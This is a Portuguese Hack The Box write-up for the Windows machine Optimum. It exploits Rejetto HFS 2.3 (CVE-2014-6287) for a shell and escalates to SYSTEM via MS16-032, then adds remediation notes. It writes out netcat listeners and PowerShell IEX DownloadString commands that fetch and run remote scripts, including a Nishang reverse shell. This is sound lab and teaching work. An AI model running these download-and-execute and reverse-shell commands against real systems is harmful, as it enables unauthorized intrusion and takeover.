Optimum - HTB Easy Machine - Português (Brasil)
Sobre
Optimum é uma máquina voltada para iniciantes que explora principalmente a enumeração de serviços com exploits conhecidos. Os exploits necessários são de fácil localização e alguns possuem módulos do Metasploit, o que torna a máquina relativamente direta de completar.
Exploração
Enumeração
O scan com nmap revelou apenas a porta HTTP 80 aberta e identificou o sistema como Windows:
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
A página web é simples e funciona como um indexador/visualizador de arquivos e diretórios. Antes de tentar credenciais ou força bruta, pesquisei sobre o HttpFileServer 2.3 para entender melhor o serviço exposto.
No site oficial fica claro que o HFS é um serviço para compartilhar arquivos via web, prático, mas potencialmente perigoso quando desatualizado.
Ao investigar a versão do Rejetto HTTP File Server (HFS), encontrei a vulnerabilidade CVE-2014-6287. Nas versões 2.3x até 2.3c, há possibilidade de execução remota de comandos devido ao tratamento incorreto de caracteres nulos (%00) na função findMacroMarker do arquivo parserLib.pas. Isso permite a injeção de macros maliciosas via parâmetro de pesquisa. O exploit HFS-2.3-RCE-Exploit demonstra essa técnica ao enviar uma requisição HTTP GET com o payload no parâmetro search, usando %00 para truncar o processamento e executar a macro.
Embora exista um script em Python funcional, implementei minha própria versão do exploit CVE-2014-6287 em Rust, incluindo a invocação do PowerShell 64-bit, o que foi útil na etapa de elevação de privilégios. Reescrever exploits na sua linguagem preferida é uma boa forma de aprendizado e aprofunda a compreensão do problema.
Após entender o funcionamento da vulnerabilidade, optei por explorá-la diretamente, já que nova enumeração da interface web não traria informações adicionais relevantes.
Ponto de Entrada
Primeiro, inicio o listener que receberá a conexão:
nc -lvnp 9001
Em seguida, executo o payload:
cargo run -- -l 10.10.16.6 -p 9001 -r 10.10.10.8 -t 80
Tip
Como eu sei o meu IP?
Você pode obter executando o comando abaixo e copiando o IP do tun0:
└─ $ ifconfig
...SNIP
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.16.6 netmask 255.255.254.0 destination 10.10.16.6
...SNIP
Abaixo seguem alguns outputs obtidos durante a exploração.
No listener observamos a execução remota (remote execution).
USER
Já estamos no diretório da flag do user, daqui é só ler o arquivo txt e temos a primeira flag.
PS C:\Users\kostas\Desktop> type user.txt
fa116dd0c20bc.....
Escalação de Privilégios
Inicialmente, verifiquei a versão do .NET instalada na máquina: a versão detectada foi a 4.0. Como o winPEAS exige .NET 4.5 ou superior, utilizei o Sherlock para análise, pois é adequado para sistemas Windows mais antigos.
Exemplo de verificação:
PS C:\Users\kostas\Desktop> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0
Verifique também se o PowerShell está rodando em processo 64 bits:
PS C:\Users\kostas\Desktop> [Environment]::Is64BitProcess
True
Para transferir arquivos da máquina atacante para o host Windows, inicializei um servidor HTTP com Python:
sudo python3 -m http.server 8001
Ao executar o Sherlock, observamos que a máquina aparenta ser vulnerável ao MS16-032 listado como "Appears Vulnerable" no output.
PS C:\Users\kostas\Desktop> IEX(New-Object Net.WebClient).downloadstring('http://10.10.16.6:8001/Sherlock.ps1'); Find-AllVulns
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
Title : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID : 2016-0093/94/95/96
Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/M
S1
6-034?
VulnStatus : Appears Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master
/S
ample-Exploits/MS16-135
VulnStatus : Appears Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199
.h
tml
VulnStatus : Not Vulnerable
Procurando na internet encontrei que a vulnerabilidade MS16-032 é referente a CVE-2016-0099. Um boletim de segurança da Microsoft aborda essa vulnerabilidade de elevação de privilégio no serviço Secondary Logon do Windows, identificada pelo CVE-2016-0099. Essa vulnerabilidade permite que um atacante local execute código arbitrário com privilégios de administrador explorando o manejo inadequado de handles de solicitação na memória pelo serviço.
Para explorar a falha, usei o script Invoke-MS16032.ps1. O usuário kostas pode invocá-lo no shell; normalmente é necessário abrir uma nova janela de PowerShell para obter o shell elevado.
Primeiramente, utilizando o mesmo servidor Python que já está em execução, execute o comando para realizar o download e invocar o script, que retornará a seguinte resposta:
PS C:\Users\kostas\Desktop> Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.16.6:8001/Invoke-MS16032.ps1')"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
Em seguida, utilizei o script de reverse-shell (Nishang). É preciso ajustar a última linha do script para informar o IP e a porta onde o atacante irá escutar.
No host atacante, abri um listener com netcat na porta escolhida:
┌── ➤ optimum
└─ $ nc -lvnp 9002
Depois, invoquei o reverse shell a partir do host alvo:
PS C:\Users\kostas\Desktop> Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.16.10:8001/Invoke-PowerShellTcp.ps1')"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[!] Holy handle leak Batman, we have a SYSTEM shell!!
Com isso obtive um shell reverso com elevação de privilégios como NT AUTHORITY\SYSTEM. A partir daí, naveguei até o diretório do Administrator e coletei a flag.
└─ $ nc -lvnp 9002
Listening on 0.0.0.0 9002
Connection received on 10.10.10.8 49219
whoami
Windows PowerShell running as user SYSTEM on OPTIMUM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\kostas\Desktop>nt authority\system
ROOT
PS C:\users\administrator\desktop> type root.txt
3fb3dd612b1d1.....
Análise de Vulnerabilidades
Nesta máquina foram exploradas duas vulnerabilidades principais: uma RCE em Rejetto HTTP File Server (HFS) conhecida como CVE-2014-6287 e uma elevação local de privilégios em Windows através do serviço Secondary Logon CVE-2016-0099 (MS16-032). Ambas foram aproveitadas com ferramentas/scripts públicos (exploit para HFS, script PowerShell Invoke-MS16032 e um reverse shell do Nishang) para obter um shell inicial e, em seguida, escalar para SYSTEM.
CVE-2014-6287 HFS (HttpFileServer) RCE
Causa técnica: tratamento incorreto de entradas no parser do HFS, permitindo truncamento via caractere nulo (%00) no parâmetro de pesquisa e injeção/executação de macros do HFS. O problema está na função de parsing que não sanitiza corretamente a entrada antes de interpretar e expandir macros.
Vetor de ataque: requisição HTTP GET com payload especialmente construído no parâmetro search (ou outro campo aceito pelo parser) contendo sequências que exploram a expansão de macro e truncamento por %00.
Impacto: execução remota de comandos com os privilégios do processo do serviço web (no caso, geralmente privilégios de um usuário com direitos sobre o processo HFS). Permite upload/execução de comandos remotos, plantio de shells e execução de payloads (PowerShell, netcat, etc.).
Observações do writeup: exploit foi adaptado/implementado em Rust; exploração foi usada para chamar PowerShell 64-bit, o que facilitou transferência de ferramentas e execução posterior.
CVE-2016-0099 / MS16-032 Secondary Logon Elevation of Privilege
Causa técnica: gerenciamento inadequado de handles pelo serviço Secondary Logon (ou outro componente ligado ao perfil de solicitação) que pode levar a leak/corrupt handle permitindo execução de código com privilégios elevados.
Vetor de ataque: execução local de módulo / script de exploração (no writeup, Invoke-MS16032.ps1) que explora a condição para criar um processo ou payload elevado (usualmente requer shell local não privilegiado).
Impacto: elevação de privilégios de uma conta local (no writeup, do usuário kostas) para NT AUTHORITY\SYSTEM, permitindo controle total do sistema, leitura de ficheiros sensíveis (root flag), instalação de persistência, etc.
Observações do writeup: a combinação de um shell inicial (via HFS RCE) e do exploit MS16-032 resultou em shell SYSTEM; uso de scripts PowerShell remotos (Sherlock, Nishang) foi chave para identificar/vincular e explorar a vulnerabilidade.
Remediação de Vulnerabilidades
Não expor HFS (ou quaisquer serviços de compartilhamento de arquivos) diretamente na Internet sem autenticação forte e camada de aplicação (reverse proxy, WAF).
Desativar ou restringir o Secondary Logon service se não for necessário na política operacional; aplicar patches de segurança durante janelas regulares.
Treinar operações/ops para reconhecer e reagir a padrões de fileless-malware e comandos PowerShell suspeitos.
Monitorar criação e uso de ferramentas de pós-exploração (Nishang, Empire, etc.) como indicadores de abuso de PowerShell.
Notas
Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.
Referências
the master 0xdf
exploitdb
nishang
EmpireProject
CVE-2016-0099
CWE 120
Sherlock